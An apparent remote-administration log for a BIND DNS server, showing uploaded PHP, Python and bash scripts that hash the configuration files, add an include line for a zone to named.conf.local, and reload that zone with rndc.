MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= d93d0bae8173161ff099af9a127e1918
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 4b5b7a593bb4944b69411cccb86c8894
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-21 14:25:25: Establishing a connection
2026-03-21 14:25:25: Establishing a connection
2026-03-21 14:25:25: 

PUT: /tmp/pkp172409

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 14:25:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp172409; rm /tmp/pkp172409'

2026-03-21 14:25:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= d93d0bae8173161ff099af9a127e1918
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 4b5b7a593bb4944b69411cccb86c8894
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-21 14:25:26: 

PUT: /tmp/pkp601631

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '6e7fd231117136482801b6740f7def61'
ZONE_NAME = 'theyoungdesigners.com'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-21 14:25:26: 

chmod 755 /tmp/pkp601631; /tmp/pkp601631; rm /tmp/pkp601631

2026-03-21 14:25:29: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-21 14:25:29: 

PUT: /tmp/pkp633467

#!/bin/bash
rndc reload theyoungdesigners.com 2>&1


2026-03-21 14:25:29: 

chmod 755 /tmp/pkp633467; /tmp/pkp633467; rm /tmp/pkp633467

